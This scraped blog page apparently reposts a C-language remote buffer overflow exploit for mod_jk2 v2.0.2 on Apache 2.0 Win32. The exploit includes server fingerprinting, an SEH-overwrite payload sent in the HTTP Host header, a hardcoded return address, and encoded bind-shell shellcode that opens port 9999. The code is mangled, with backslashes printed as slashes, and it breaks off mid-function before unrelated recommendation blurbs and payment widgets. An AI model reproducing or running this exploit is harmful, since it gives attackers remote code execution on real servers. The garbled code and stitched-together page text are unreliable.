mo_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)

ApacheCordova 13 +Vs 2026 项目搭建教程_开发环境搭建教程 本文介绍基于Cordova 13.0.0、Android 13.0.0及JDK 21.0.8的开发环境搭建流程。通过npm全局安装Cordova CLI创建项目,配置JDK与Android SDK环境变量(Java_Home、ANDROID_SDK_ROOT),并设置Gradle 8.14.7路径。使用VS Code配合CordovaTools插件进行开发调试,验证adb devices连接状态。特别说明VS2026中JDK/Sdk位于H:\dev\vsshared\Android目录,适用于.Net MA 阅读详情

/* Dreatica-FXP crew

*

* ----------------------------------------

* Target         : mod_jk2 v2.0.2 for Apache 2.0 Win32

* Found by       : IOActive Security Advisory

* ----------------------------------------

* Exploit        : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)

* Exploit date   : 01.03.2008 - 02.03.2008

* Exploit writer : Heretic2 (heretic2x@gmail.com)

* OS             : Windows ALL

* Crew           : Dreatica-FXP

* ----------------------------------------

* Info           : Exploit was found by IOActive Security Advisory, trivial exploit for win32.

*                  The only problem here is that the mod_jk2 forstly downcase all letter in Host

*                  header request, Metasploit v3 have solutions for this case:

*                     1. Use non-upper encoder

*                     2. Use non-alpha encoder

*                  i used the first variant here. and all is working good.

* ----------------------------------------

* Thanks to:

*       1. IOActive Security Advisory  (                                                        )

*       2. The Metasploit project      ( http://metasploit.com                                  )

*       3. Dreatica-FXP crew           (                                                        )

* ----------------------------------------

* This was written for educational purpose only. Use it at your own risk. Author will be not be

* responsible for any damage, caused by that code.

************************************************************************************

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <winsock2.h>

#include <ctime>

#pragma comment(lib,"ws2_32")

void usage(char * s);

void logo();

void end_logo();

void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);

void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);

int get_version(char * remotehost, int port, int * itarget);

int validate_args(char * remotehost, int port, int sh, int itarget);

int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);

SOCKET do_connect (char *remotehost, int port);

// -----------------------------------------------------------------

// XGetopt.cpp  Version 1.2

// -----------------------------------------------------------------

int getopt(int argc, char *argv[], char *optstring);

char    *optarg;               // global argument pointer

int            optind = 0, opterr;    // global argv index

// -----------------------------------------------------------------

// -----------------------------------------------------------------

struct _target{

const char *t ;

unsigned long ret ;

} targets[]=

{

{"mod_jk2/2.0.2 for Apache 2.0.48",  0x100115c3 },// pop,pop,ret

{NULL,                               0x00000000 }

};

struct {

const char * name;

int length;

char * shellcode;

}shellcodes[]={

{"Bindshell, port 9999", 461,

/*

* windows/shell_bind_tcp - 461 bytes

* http://www.metasploit.com

* Encoder: x86/nonalpha

* EXITFUNC=seh, LPORT=9999

*/

"/x66/xb9/xff/xff/xeb/x19/x5e/x8b/xfe/x83/xc7/x6c/x8b/xd7/x3b"

"/xf2/x7d/x0b/xb0/x7b/xf2/xae/xff/xcf/xac/x28/x07/xeb/xf1/xeb"

"/x71/xe8/xe2/xff/xff/xff/x11/x2e/x0f/x36/x03/x2c/x32/x07/x27"

"/x06/x15/x30/x0f/x1a/x17/x38/x0b/x13/x2d/x2b/x15/x28/x15/x13"

"/x13/x04/x08/x27/x13/x2b/x15/x26/x11/x13/x24/x28/x28/x28/x28"

"/x28/x38/x28/x38/x28/x15/x13/x15/x28/x13/x0b/x24/x11/x2a/x26"

"/x13/x24/x28/x26/x13/x32/x32/x24/x2b/x27/x27/x26/x13/x02/x02"

"/x24/x26/x15/x11/x17/x15/x13/x18/x0e/x11/x2b/x22/x11/x37/x39"

"/x39/x01/x13/x09/x06/x37/x24/x29/x2a/x2a/x2a/x11/x2a/x2a/x26"

"/x2a/x13/x28/x11/x24/x17/x29/x13/x28/xfc/x7b/xeb/x7b/xe8/xf9"

"/xff/xff/xff/x60/x8b/x7b/x24/x24/x8b/x7b/x3c/x8b/x7c/x05/x7b"

"/x01/xef/x8b/x7b/x18/x8b/x5f/x20/x01/xeb/x7b/x8b/x34/x8b/x01"

"/xee/x31/xc0/x99/xac/x84/xc0/x7b/x07/xc1/xca/x0d/x01/xc2/xeb"

"/xf4/x3b/x7b/x24/x28/x7b/xe5/x8b/x5f/x24/x01/xeb/x7b/x8b/x0c"

"/x7b/x8b/x5f/x1c/x01/xeb/x03/x2c/x8b/x89/x7b/x24/x1c/x7b/xc3"

"/x31/xdb/x7b/x8b/x7b/x30/x8b/x40/x0c/x8b/x7b/x1c/xad/x8b/x40"

"/x08/x5e/x7b/x8e/x7b/x0e/xec/x7b/xff/xd6/x7b/x7b/x7b/x7b/x33"

"/x32/x7b/x7b/x7b/x32/x5f/x7b/xff/xd0/x7b/xcb/xed/xfc/x3b/x7b"

"/xff/xd6/x5f/x89/xe5/x7b/x81/xed/x08/x02/x7b/x7b/x02/xff/xd0"

"/x7b/xd9/x09/xf5/xad/x7b/xff/xd6/x7b/x7b/x7b/x7b/x7b/x7b/x7b"

"/x7b/x7b/xff/xd0/x7b/x7b/x27/x0f/x7b/x7b/x89/xe1/x95/x7b/xa4"

"/x1a/x7b/xc7/x7b/xff/xd6/x7b/x10/x7b/x7b/xff/xd0/x7b/xa4/xad"

"/x2e/xe9/x7b/xff/xd6/x7b/x7b/xff/xd0/x7b/xe5/x7b/x86/x7b/x7b"

"/xff/xd6/x7b/x7b/x7b/x7b/xff/xd0/x93/x7b/xe7/x7b/xc6/x7b/x7b"

"/xff/xd6/x7b/xff/xd0/x7b/x7b/x7b/x7b/x7b/x7b/x7b/x89/xe5/x7b"

"/x7b/x7b/x29/xcc/x89/xe7/x7b/x7b/x89/xe2/x31/xc0/xf3/xaa/xfe"

"/x7b/x2d/xfe/x7b/x2c/x93/x8d/x7b/x38/xab/xab/xab/x7b/x7b/xfe"

"/xb3/x16/xff/x7b/x7b/xff/xd6/x5b/x7b/x7b/x7b/x7b/x7b/x7b/x01"

"/x7b/x7b/x7b/x7b/xff/xd0/x7b/xad/xd9/x05/xce/x7b/xff/xd6/x7b"

"/xff/xff/x37/xff/xd0/x8b/x7b/xfc/x83/xc4/x7b/xff/xd6/x7b/xff"

"/xd0/x7b/xf0/x8a/x04/x5f/x7b/xff/xd6/xff/xd0"

},

{NULL , NULL }

};

int main(int argc, char **argv)

{

char * remotehost=NULL;

char default_remotehost[]="127.0.0.1";

char temp1[100], temp2[100];

int port, itarget, x, sh;

SOCKET s;

char c;

int option_index=0;

logo();

WSADATA wsa;

WSAStartup(MAKEWORD(2,0), &wsa);

if(argc<2)

{

usage(argv[0]);

return -1;

}

// set defaults

port=80;

itarget=-1;

sh=0;

// ------------

while((c = getopt(argc, argv, "h:p:"))!= EOF)

{

switch (c)

{

case 'h':

remotehost=optarg;

break;

case 'p':

sscanf(optarg, "%d", &port);

break;

default:

usage(argv[0]);

WSACleanup();

return -1;

}

}

if(remotehost == NULL) remotehost=default_remotehost;

memset(temp1,0,sizeof(temp1));

memset(temp2,0,sizeof(temp2));

memset(temp1, '/x20' , 58 - strlen(remotehost) -1);

printf(" #  Host    : %s%s# /n", remotehost, temp1);

sprintf(temp2, "%d", port);

memset(temp1,0,sizeof(temp1));

memset(temp1, '/x20' , 58 - strlen(temp2) -1);

printf(" #  Port    : %s%s# /n", temp2, temp1);

memset(temp1,0,sizeof(temp1));

memset(temp2,0,sizeof(temp2));

sprintf(temp2, "%s", shellcodes[sh].name );

memset(temp1, '/x20' , 58 - strlen(temp2) -1);

printf(" #  Payload : %s%s# /n", temp2, temp1);

printf(" # ------------------------------------------------------------------- # /n");

fflush(stdout);

printf("   [+] Checking if server is online/n");

fflush(stdout);

s=do_connect(remotehost, port);

if(s==-1)

{

printf("   [-] Server is OFFLINE/n");

end_logo();

return 0;

}

closesocket(s);

printf("   [+] Server is ONLINE/n");

x = get_version(remotehost, port, &itarget);

if(x<0)

{

printf("   [-] Cannot exploit due to errors/n");

WSACleanup();

end_logo();

return -1;

}

unsigned char buf[10000];

unsigned int len;

memset(buf,0,sizeof(buf));

fflush(stdout);

make_buffer(buf, &len, itarget, sh);

printf("   [+] Attacking buffer constructed/n");

if(send_buffer(buf, len, remotehost,port)==-1)

{

printf("   [-] Cannot exploit server %s/n", remotehost);

end_logo();

WSACleanup();

return -1;

}

printf("   [+] Buffer sent/n");

printf("   [+] Connect to %s:%d/n", remotehost, 9999);

end_logo();

WSACleanup();

return 0;

}

SOCKET do_connect (char *remotehost, int port)

{

static struct hostent *host;

static struct sockaddr_in addr;

SOCKET s;

host = gethostbyname(remotehost);

if (!host)

{

perror("   [-] gethostbyname() failed");

return -1;

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

s = socket(PF_INET, SOCK_STREAM, 0);

if (s == -1)

{

closesocket(s);

perror("socket() failed");

return -1;

}

addr.sin_port = htons(port);

addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)

{

closesocket(s);

return -1;

}

return s;

}

int get_version(char * remotehost, int port, int * target)

{

char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];

int bytes,j,x;

SOCKET sock;

memset(bufmax,0,sizeof(bufmax));

memset(WebBanner,0,sizeof(WebBanner));

memset(Version,0,sizeof(Version));

memset(ModJK,0,sizeof(ModJK));

sock = do_connect(remotehost, port);

if (sock == -1) return -1;

send(sock, "GET /a.html HTTP/1.0/r/n/r/n",(int)strlen("GET /a.html HTTP/1.0/r/n/r/n"),0);

if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;

bufmax[sizeof(bufmax)-1]=0;

if((lp=strstr(bufmax,"Server:"))==NULL) return -1;

if((lp2=strstr(lp,"/r/n"))==NULL) return -1;

strncpy(WebBanner, lp, lp2-lp);

if((lp=strstr(WebBanner,"Win32"))==NULL)

{

printf("   [-] OS is not a Win32/n");

return -1;

}

if((lp=strstr(WebBanner,"Apache/"))==NULL)

{

printf("   [-] No Apache/n");

return -1;

}

if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;

lp+=strlen("Apache/");

if((lp2=strstr(lp," "))==NULL) return -1;

strncpy(Version, lp, lp2-lp);

printf("   [+] Version of Apache is %s/n", Version);

x=0;

for(j=0; targets[j].t!=0;j++)

{

if(strstr(targets[j].t,Version)!=NULL)

{

x=1;

break;

}

}

if(x==0)

{

printf("   [-] This version of Apache is UNSUPPORTED/n");

return -1;

}

printf("   [+] This version of Apache is SUPPORTED/n");

strncpy(WebBanner, lp, lp2-lp);

if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)

{

printf("   [-] No mod_jk2/n");

return -1;

}

if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);

strncpy(ModJK, lp, lp2-lp);

printf("   [+] mod_jk2 is %s/n", ModJK);

x=0;

for(j=0; targets[j].t!=0;j++)

{

if(strstr(targets[j].t,ModJK)!=NULL)

{

*target=j;

x=1;

break;

}

}

if(x==0)

{

printf("   [-] This version of mod_jk2 is UNSUPPORTED/n");

return -1;

}

printf("   [+] This version of mod_jk2 is SUPPORTED/n");

return 0;

}

void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)

{

memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);

*fshlength = shellcodes[sh].length;

}

void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)

{

// prepare shellcode

unsigned char fsh[10000];

unsigned int fshlength;

memset(fsh, 0, sizeof(fsh));

prepare_shellcode(fsh, &fshlength, sh);

// -----------------

// make buffer

unsigned char * cp=buf;

// begin of the HTTP request

memcpy(cp, "GET / HTTP/1.0/r/nHost: ", strlen("GET / HTTP/1.0/r/nHost: ") );

cp+=strlen((char *)cp);

// jff

*cp++='/x90';

*cp++='/x90';

*cp++='/x90';

*cp++='/x90';

// overflowing

memset(cp, '/x41', 5001);

// put the shellcode

memcpy(cp, fsh, fshlength);

cp+=1271;

// calculating backward jump

int jmp_bytes=0xffffffff - (1275);

// putting backward jump

*cp++ = '/xe9';

*cp++ = (char)((jmp_bytes      ) & 0xff);

*cp++ = (char)((jmp_bytes >>  8) & 0xff);

*cp++ = (char)((jmp_bytes >> 16) & 0xff);

*cp++ = (char)((jmp_bytes >> 24) & 0xff);

// next SEH record and back jump

*cp++='/x90';

*cp++='/x90';

*cp++='/xeb';

*cp++='/xf7';

// replace SEH

*cp++ = (char)((targets[itarget].ret      ) & 0xff);

*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);

*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);

*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);

// trigger exception

cp+=3000;

// copy the last part of the request

memcpy(cp, "/r/n/r/n", strlen("/r/n/r/n") );

cp+=strlen((char *)cp);

}

int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)

{

SOCKET sock;

sock = do_connect(remotehost, port);

if (sock<0) return -1;

if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;

closesocket(sock);

return 1;

}

// -----------------------------------------------------------------

// XGetopt.cpp  Version 1.2

// -----------------------------------------------------------------

int getopt(int argc, char *argv[], char *optstring)

{

static char *next = NULL;

if (optind == 0)

next = NULL;

optarg = NULL;

if (next == NULL || *next == '/0')

{

if (optind == 0)

optind++;

if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '/0')

{

optarg = NULL;

if (optind < argc)

optarg = argv[optind];

return EOF;

}

if (strcmp(argv[optind], "--") == 0)

{

optind++;

optarg = NULL;

if (optind < argc)

optarg = argv[optind];

return EOF;

}

next = argv[optind];

next++;        // skip past -

optind++;

}

char c = *next++;

char *cp = strchr(optstring, c);

if (cp == NULL || c == ':')

return '?';

cp++;

if (*cp == ':')

{

if (*next != '/0')

{

optarg = next;

next = NULL;

}

else if (optind < argc)

{

optarg = argv[optind];

optind++;

}

else

{

return '?';

}

}

return c;

}

// -----------------------------------------------------------------

// -----------------------------------------------------------------

// -----------------------------------------------------------------

void usage(char * s)

{

printf("/n");

printf("    Usage: %s -h <host> -p <port>/n", s);

printf("   -------------------------------------------------------------------/n");

printf("    Arguments:/n");

printf("      -h ........ host to attack/n");

printf("      -p ........ port to use/n");

printf("/n");

printf("    Supported mod_jk versions:/n");

for(int j=0; targets[j].t!=0;j++)

{

printf("      %d. %s/n",j+1, targets[j].t);

}

printf("/n");

printf("    Execution: %s/n/n", shellcodes[0].name);

end_logo();

}

void logo()

{

printf("/n/n");

printf(" ####################################################################### /n");

printf(" #     ____                 __  _                  ______  __    _____ #/n");

printf(" #    / __ //________  _____/ /_(_)_________       / __/// /// /   / _  / #/n");

printf(" #   / / / / ___/ _ /// __ / __/ / ___/ __ / ___  / /    //  /   / // /  #/n");

printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  //  / ___/   #/n");

printf(" # /_____/_/  //___/ //_,_///__

 
国央企创新负责人如何通过平台提升技术需求挖掘与资源配置的精准性?.docx 国央企创新负责人如何通过平台提升技术需求挖掘与资源配置的精准性? 立即下载

相关推荐

两路半桥LLC谐振变换器软开关Simulink仿真(模拟谐振参数不同、分裂电容)

内容概要:本文介绍了“两路半桥LLC谐振变换器软开关Simulink仿真”资源包,重点在于基于Simulink平台对两路半桥LLC谐振变换器进行高精度建模与动态仿真,特别考虑了谐振参数不一致及分裂电容等非理想工况对系统性能的影响。该仿真模型不仅涵盖了主电路拓扑、软开关实现机制与谐振网络设计,还深入分析了不同参数配置下系统的启动特性、稳态效率、动态响应及软开关条件的满足情况。通过参数扫描与对比仿真,帮助用户掌握LLC变换器的关键设计要素与优化方法,具备较强的工程指导价值和科研教学意义。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生,以及从事高频开关电源、新能源变换器、车载充电机等领域的研发工程师和技术人员。; 使用场景及目标:① 掌握两路并联半桥LLC谐振变换器的建模与仿真方法;② 理解软开关技术在提升变换器效率与降低EMI方面的关键作用;③ 分析谐振参数偏差与分裂电容结构对系统均流特性、增益曲线及软开关范围的影响;④ 支持科研项目中的拓扑验证、控制策略开发与故障工况分析; 阅读建议:建议结合Simulink仿真模型与配套说明文档进行学习,重点关注谐振腔参数设置、驱动时序设计及软开关波形观测;可通过调整谐振电感、电容值或引入参数失配,观察系统行为变化,深入理解LLC变换器的稳定边界与优化设计原则。

ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析

标 题: ActFax Server (LPDLPR) Remote Buffer Overflow Exploit分析 作 者: 吕勇 时 间: 2011-02-21 ● 漏洞来源: http://www.exploit-db.com/exploits/16176/ ● bug函数定位 在004A4B7D下断点,运行程序(F9),调用漏洞利用程序, 这时程序断在004A4B7D 这里,看堆栈,找到返回程序领空的返回地址。这里一直往下翻,找栈回溯。要翻很远。才能找到一个堆栈的返回地址。 这里我找到 在c

weixin_43164781的博客 337

双向全桥CLLC谐振变换器仿真模型(Simulink仿真实现)

内容概要:本文系统介绍了双向全桥CLLC谐振变换器的Simulink仿真模型,重点阐述了变频控制、闭环仿真及其与多种电力电子拓扑(如维也纳整流器、DAB变换器、图腾柱PFC等)的联合仿真设计。资源包涵盖2.5kW双向全桥LLC、V2G电动汽车充放电系统、三相PFC、多相交错LLC等多种变换器的仿真案例,并深入展示了三电平VIENNA整流器在双闭环PI控制与SVPWM调制策略下,结合上下电容电压差值补偿实现中点电位平衡的先进控制方法。通过仿真验证,该策略不仅有效维持了800V直流母线电压的稳定,还在动态工况下显著提升了电容电压的均衡度,同时保持了较低的输入电流THD,充分体现了SVPWM与中点平衡控制协同优化的技术优势。; 适合人群:具备电力电子与自动控制理论基础,从事新能源发电、电动汽车、工业电源、微电网等领域的研究生、工程师及科研人员。; 使用场景及目标:① 学习并构建高频谐振变换器(如LLC、CLLC)的Simulink仿真模型,掌握其变频与混合控制策略;② 深入理解并应用中点电位平衡、双闭环PI控制、SVPWM调制等核心技术于VIENNA等三电平变换器中;③ 复现高水平期刊论文中的控制算法,服务于科研项目申报、学术论文撰写或工程产品开发。; 阅读建议:该资源为综合性仿真资料库,建议使用者结合自身研究方向(如电动汽车充电、新能源并网)选择对应案例进行精学,重点关注控制策略的设计逻辑、仿真参数的整定方法以及SVPWM与中点平衡的协同机制,并充分利用附带的计算书和参考文献深化理解,以实现从仿真模型到实际工程应用的顺利转化。

Apache Flink 零基础

低代码、易开发、易维护、可读性强,适配实时数仓分层、指标统计、数据清洗、多源数据关联等绝大多数业务场景,支持Kafka、Doris、MySQL、Hive等主流组件读写,是企业实时开发主流方案。:接收客户端提交的实时/离线任务、解析任务逻辑、生成DAG执行流程图、分配集群资源、调度任务运行、管理Checkpoint/Savepoint、处理任务故障重启、协调集群节点状态。手动触发的状态快照,主要用于任务升级、代码迭代、版本更新、集群迁移、任务重启等运维操作,保证业务无感知、数据不错乱、任务无缝恢复。

2402_85354210的博客 351

全桥LLC谐振(变频+移相混合控制)变换器闭环仿真模型(Simulink仿真实现)

全桥LLC谐振(变频+移相混合控制)变换器闭环仿真模型(Simulink仿真实现)

一文带你弄懂thermal governor IPA

当current temp < target temp时,使用k_pu,当current temp >= target temp时,使用k_po。如果current_temperature = switch_on_temp时,则k_p = k_pu,这时Pmax。如果current_temperature = target_temp时,则k_p = k_po,这时Pmax。2、解析dts,获得switch_on_temp和target_temp。3、初始化k_pu/k_po/k_i/k_d的常数。

yxw0609131056的博客 1247

Apache Superset 集成实战:Embedded SDK + Guest Token + OAuth2/SSO 完整方案

本文整理自实际项目中的 Superset 集成方案,重点介绍业务系统如何嵌入 Dashboard、如何通过 Guest Token 完成免登录访问,以及管理员如何通过 OAuth2/SSO 进入 Superset 控制台。示例中的域名、账号、UUID 等均为通用示例,实际项目请通过环境变量、配置中心或 Secret 管理。

haohaoxuexiyai的博客 364

嵌入式主板系统配置实战:OTG切换、双网共存与开机自启详解

在嵌入式Linux系统开发中,系统配置是连接硬件平台与应用功能的关键桥梁。其核心原理在于通过内核参数、文件系统接口和系统服务等机制,实现对硬件资源和系统行为的精细控制。掌握这些配置技术,对于提升开发效率、保障系统稳定性和实现产品差异化至关重要。无论是工业物联网网关、智能终端还是边缘计算设备,都需要对网络、USB、启动项等基础功能进行可靠配置。本文聚焦于嵌入式主板开发中的高频需求,例如OTG功能模式切换、双网共存路由策略以及基于systemd的开机自启动实现,通过具体的命令和脚本示例,为开发者提供一套可直接复

weixin_30827827的博客 322

每天认识一个组件:Apache StreamPark

StreamPark 解决的核心问题,不是如何执行流计算,而是如何让流处理应用以统一、可管理的方式进入生产环境,它把 Flink 应用开发与运维中的重复工作收拢到统一控制面。

weixin_47983718的博客 519

SAP生产版本导入避坑大全:从‘黄灯’到‘绿灯’,详解CM_FV_MKAL_CONSISTENCY_CHECK检查函数

本文深入解析SAP生产版本导入过程中的常见问题,特别是通过`CM_FV_MKAL_CONSISTENCY_CHECK`检查函数从‘黄灯’异常到‘绿灯’正常的修复方法。涵盖静态与动态校验机制、典型异常场景诊断及批量导入最佳实践,帮助SAP运维人员高效解决生产版本管理难题。

weixin_30568591的博客 389

边缘AI工业落地:YOLO26-Seg + RK3588 NPU 极致部署(低功耗+实时实例分割,工业场景全覆盖)

本次实战汇总了「YOLO26-Seg+RK3588 NPU」工业边缘部署中最常见、最致命的8个坑点,所有坑点均来自真实工业项目,解决方案均为零代码/一键操作,无需复杂配置,能让你少走90%的弯路,节省大量时间,必看必记!❌ RKNN转换报错「算子不支持/模型加载失败」→ ✅ 导出ONNX时必须指定opset=12,重新导出即可,RK3588唯一兼容版本;❌ 分割mask错位/轮廓模糊 → ✅ 导出ONNX时加,并保证RKNN的归一化参数与YOLO26一致,零代码修复;

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1719

京东 Apache Doris 湖仓查询优化实践:从多引擎统一到百万级查询

京东基于 Apache Doris 构建统一湖仓查询引擎,支撑日均百万级查询与 PB 级数据扫描。深入解析 Presto、StarRocks 迁移、分区裁剪、Split 调度、向量化执行及 AI Agent 混合负载优化实践。

SelectDB 428

本地部署AI应用:基于Google Gemini的banana-prompt快速上手指南

AI应用开发的核心在于将大模型能力集成到实际场景中,其原理是通过API调用将用户输入转化为模型可理解的指令,再由模型生成响应。这一技术价值在于降低AI应用开发门槛,实现数据本地化处理与隐私保护。在工程实践中,开发者常面临环境配置复杂、API集成繁琐等挑战。本文聚焦于使用banana-prompt工具包,通过TypeScript技术栈和npm包管理,快速在Windows本地部署基于Google Gemini API的AI应用。该方案特别适用于ai-prompts提示词工程和content-creation内容

weixin_27188815的博客 318

Apache Doris 基础

需根据业务数据特征精准选择,选错模型会导致数据错误、查询性能极差。

2402_85354210的博客 375

麒麟v10系统安装

麒麟v10系统安装

喜文BLOG 1万+

TIP 2024 | 跨类与跨域语义增强用于域泛化

域泛化方法旨在通过多样化的源域帮助开发一个在未知目标域上表现良好的通用模型。数据增强已被证明是增强计算机视觉中域泛化的有效方法。最近,基于语义级别的数据增强取得了显著成果。然而,这些方法主要集中在从类内和域内采样语义方向,限制了源域的多样性。为了解决这个问题,作者提出了一种新的方法,称为跨类与跨域语义增强(CDSA)。首先,作者引入了一种基于采样的方法CrossSmooth,从跨类中获取语义方向。然后,CrossVariance通过采样语义方向获取不同域的样式。

小白学视觉 212

每天认识一个组件:Apache Spark

Apache Spark 是一个面向大规模数据处理的统一分析引擎,支持多语言高级 API,并提供 Spark SQL、Structured Streaming、MLlib等上层能力,用一套执行引擎覆盖批处理、交互式分析、流处理、机器学习等场景。

weixin_47983718的博客 609

OpenClaw与大语言模型(Claude/GPT/MiniMax)的集成架构与最优配置策略

摘要 本文探讨了OpenClaw框架与大语言模型(Claude/GPT/MiniMax)的集成架构与优化策略。大语言模型具有强大的自然语言处理能力,但集成面临API成本、响应延迟、上下文管理等挑战。OpenClaw采用分层架构设计,包括用户界面层、对话管理层、提示工程层、模型适配层和API调用层,支持多模型切换、智能对话管理和成本控制。系统通过模型适配层实现不同API的统一调用,并提供缓存、监控等优化机制。该集成方案能够充分发挥大语言模型的优势,为本地AI助理提供更智能的服务。

一键难忘的博客 1696

Casvisor 详解:Apache-2.0 开源堡垒机,一个 Go 二进制实现 SSH、RDP、VNC、Telnet 与会话录像

Casvisor 是 Apache-2.0 的开源堡垒机,用 Go 和 React 写,一个二进制里同时做了 SSH、RDP、VNC、Telnet 四种远程协议,带权限、命令审计、会话录像回放、SSH 网关和网域网关,默认 SQLite 加本地账号开箱即用。

Casbin开源社区 176

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Apache2 Bash CGI:动态时间页面与请求验证

1. 服务介绍 CGI 让 Apache 执行服务端程序并将输出作为 HTTP 响应。本文用固定 Bash 脚本输出系统时间,说明响应头后的空行、模块与执行权限;不接受用户输入或拼接系统命令。 2. 准备运行环境 UOS/Debian 系 Apache2、Bash、管理员配置权限及隔离测试站点。先确认 Apache MPM 和现有虚拟主机,不将整个上传目录开

weixin_44524357的博客 263

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

IIS + 安全狗模块导致 w3wp.exe 程序池崩溃(0xc0000005)踩坑实录

本文记录一次因安全狗IISModule64.dll内存越界导致w3wp崩溃的线上故障,引发接口中断一小时。故障主因是公网暴露的API站点遭海外扫描器攻击,触发防护模块漏洞(0xc0000005),程序池挂死且自动保护机制锁死,无法自愈。应急方案包括:重启程序池、封禁攻击源、部署事件触发式自动重启任务。长期建议:升级安全狗、启用云WAF或白名单访问控制,实现流量清洗前置,避免防护模块与业务耦合。核心启示:对小程序/APP接口,应优先采用来源白名单,从源头杜绝风险,构建分层防御体系。

u013334925的博客 175

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Apache Superset 重要特性详解(三):语义层 / 权限 / 缓存 / 嵌入的实战最佳实践(2026 版)

本文详解 Apache Superset 的四大核心生产实践:语义层建模(统一口径,指标唯一定义)、行级安全(RLS)(基于角色动态过滤数据)、缓存调优(配置 Redis 与 TTL 策略提升性能)、仪表盘嵌入(通过 guest token 实现系统集成)。结合决策图、命名规范与安全最佳实践,提供可直接复制的配置模板,助力企业构建可复用、安全、高性能的数据分析平台。

weixin_43128865的博客 699

Apache DolphinScheduler 2026 年 10 月社区贡献总结报告

2026年10月,Apache DolphinScheduler 社区共合并31个PR,17位贡献者参与,净增代码5,924行。以Bug修复为主(14项,占比45.2%),重点提升调度引擎稳定性,修复任务状态不一致、告警丢失等高风险问题。核心模块dolphinscheduler-master与task-plugin获重点关注,新增功能涵盖日期偏移占位符、自定义Kyuubi JDBC URL等。文档与易用性同步优化,社区持续强化系统可靠性与用户体验。

Apache DolphinScheduler开源社区 254

Apache Superset 架构深度解析(二):一次查询从点击到渲染的完整旅程(附架构图 + 时序图)

当用户在Superset中点击图表,一次查询从请求到渲染历经多层协作:浏览器发起请求后,Gunicorn通过RBAC与RLS鉴权,并从PostgreSQL读取元数据;若缓存命中则直接返回结果,否则由QueryContext结合db_engine_spec生成SQL,经SQLAlchemy执行并写入缓存。大查询走Celery异步路径,结果通过Redis Streams推送至WebSocket通知前端。整个过程依赖五级缓存(含筛选、表单、结果集等),生产环境需配Redis实现高性能与高可用。

weixin_43128865的博客 533

小程序上线总卡审核,开发阶段先配齐这 5 项

小程序审核被驳回,主因常非代码问题,而是资质、类目、合规等前置准备不足。建议开发初期即规划五大关键项:明确服务类目与对应资质、提前完成域名备案、完善隐私协议与授权链路、提前开通支付及接口权限、规避诱导分享等违规内容。将“审核通过”纳入项目里程碑,实现功能开发与资质准备并行,可有效压缩周期2-3周,避免因材料缺失导致延期,确保项目稳控节奏、如期上线。

kwwlkj的博客 217
上一篇: 脱壳的艺术--2 调试器检测技术
下一篇: 脱壳的艺术--3 断点和补丁检测技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值